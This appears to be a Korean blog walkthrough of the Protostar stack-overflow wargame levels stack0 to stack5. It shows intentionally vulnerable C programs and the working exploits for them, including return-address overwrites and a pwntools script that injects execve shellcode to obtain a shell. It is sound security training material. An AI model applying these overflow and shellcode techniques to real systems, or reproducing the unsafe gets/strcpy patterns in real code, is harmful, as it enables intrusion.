프로토스타
프로토스타는 시스템 해킹에 대해 단계별로 문제를 만들어 놓은 것으로
단계적으로 공부하기에 좋다.
이번에는 스택 오버플로우에 관한 문제들을 풀어보도록 한다.
stack0
stack0의 코드이다.
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
int main(int argc, char **argv)
{
volatile int modified;
char buffer[64];
modified = 0;
gets(buffer);
if(modified != 0) {
printf("you have changed the 'modified' variable\n");
} else {
printf("Try again?\n");
}
}
코드 내용을 보면 입력을 받을 때 64개를 넘어 modified가 int값이므로 4글자를 더 넣어주면 덮어질 것으로 보인다.
python -c "print 'A'*68"
위 명령어를 통해 문자열을 만들고 나온 문자열을 넣어준다.
modified 변수가 덮어진 것을 확인할 수 있다.
stack1
stack1의 코드이다.
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>
int main(int argc, char **argv)
{
volatile int modified;
char buffer[64];
if(argc == 1) {
errx(1, "please specify an argument\n");
}
modified = 0;
strcpy(buffer, argv[1]);
if(modified == 0x61626364) {
printf("you have correctly got the variable to the right value\n");
} else {
printf("Try again, you got 0x%08x\n", modified);
}
}
이번에는 인자로 값을 받고 있고 modified 변수에 특정 값을 넣어주어야 한다.
0x61626364가 들어가야 하므로 'A'*64+'dcba'를 인자로 주도록 한다.
성공 메세지가 나오게 된다.
stack2
stack2의 코드이다.
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>
int main(int argc, char **argv)
{
volatile int modified;
char buffer[64];
char *variable;
variable = getenv("GREENIE");
if(variable == NULL) {
errx(1, "please set the GREENIE environment variable\n");
}
modified = 0;
strcpy(buffer, variable);
if(modified == 0x0d0a0d0a) {
printf("you have correctly modified the variable\n");
} else {
printf("Try again, you got 0x%08x\n", modified);
}
}
이번에는 환경변수의 값을 가져오고 있다.
그 값이 64개의 문자 + 0x0d0a0d0a가 되어야 한다.
0d0a는 특수 문자로 CRLF 이다.
환경변수를 python을 통해 넘겨주고 파일을 실행해준다.
성공 메세지를 볼 수 있다.
stack3
stack3의 코드는 다음과 같다.
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>
void win()
{
printf("code flow successfully changed\n");
}
int main(int argc, char **argv)
{
volatile int (*fp)();
char buffer[64];
fp = 0;
gets(buffer);
if(fp) {
printf("calling function pointer, jumping to 0x%08x\n", fp);
fp();
}
}
이번에는 fp의 값을 win 함수의 주소 값으로 덮어서 win함수가 실행되도록 해야한다.
gdb를 통해 win 함수의 주소를 알아낸다.
이제 아무 값이나 64개의 값을 넣어주고 다음 4자리를 win 함수의 주소로 채워준다.
python -c "print 'A'*64 + '\x24\x84\x04\x08'" | ./stack3
이번에는 pipe를 사용하여 인자를 넘겨주었다.
성공 메세지가 나오는 것을 확인할 수 있다.
stack4
stack4의 코드이다.
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>
void win()
{
printf("code flow successfully changed\n");
}
int main(int argc, char **argv)
{
char buffer[64];
gets(buffer);
}
이번에는 입력을 받아서 버퍼 오버플로우를 일으키고 ret 값을 win 함수의 주소로 덮어주어야 한다.
main함수를 실행하자마자 esp 레지스터의 값을 확인하면 돌아갈 리턴 값이 나온다.
이후 프로그램을 실행시켜 A 64개를 넣은 후
리턴 되기 전에 eax 레지스터의 값을 살펴보면 리턴 값이 저장된 곳이 있다.
그 부분을 win 함수의 주소로 변경시켜 준다.
여기서는 64바이트의 크기를 받고 뒤로 12바이트를 더 받은 후에 받는 값이 리턴 값으로 들어가게 된다.
따라서 다음 코드를 사용한다.
python -c "print 'A'*76 + '\xf4\x83\x04\x08'" | ./stack4
성공 메세지가 나오는 것을 확인할 수 있다.
stack5
stack5의 코드이다.
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>
int main(int argc, char **argv)
{
char buffer[64];
gets(buffer);
}
이번에는 쉘코드를 이용해서 쉘을 얻는것이 목표이다.
이전 단계와 마찬가지로 진행하면 동일하게 76byte 후에 리턴 값이 나오고 이 리턴값에 쉘코드 주소를 넣어주면 된다.
쉘코드는 리턴값 뒤에 배치하고 리턴값의 주소는 그 주소로 만들어주었다.
이번엔 파이썬 파일로 만들어서 실행해주었다.
from pwn import *
offset = 76
ret_addr = p32(0xffffd360)
buf = b""
buf += b"\x6a\x0b\x58\x99\x52\x66\x68\x2d\x63\x89\xe7\x68\x2f"
buf += b"\x73\x68\x00\x68\x2f\x62\x69\x6e\x89\xe3\x52\xe8\x08"
buf += b"\x00\x00\x00\x2f\x62\x69\x6e\x2f\x73\x68\x00\x57\x53"
buf += b"\x89\xe1\xcd\x80"
payload = b'A'*76 + ret_addr + buf
p = process('./stack5')
p.sendline(payload)
p.interactive()
A 76개 후에 리턴주소가 나오고 해당 값이 들어 있는 주소 바로 다음으로 설정해준다.
그 뒤에 쉘코드를 입력해서 리턴이 되면 쉘코드로 넘어가게 해준다.
빨간 $ 표시가 나오게 되고 이게 쉘을 얻은것이다.
명령어를 입력하면 제대로 입력되고 값이 나오는 것을 확인할 수 있다.
'Security&Hacking > 시스템 해킹' 카테고리의 다른 글
리눅스 GDB (0) | 2020.05.04 |
---|---|
스택 오버플로우 (0) | 2020.05.03 |
취약점 점검 도구 Nessus (0) | 2020.05.03 |
웹 애플리케이션 취약점 CVE-2017-5638 (0) | 2020.05.03 |
해커스쿨 ftz level20 (macOS) (0) | 2020.01.19 |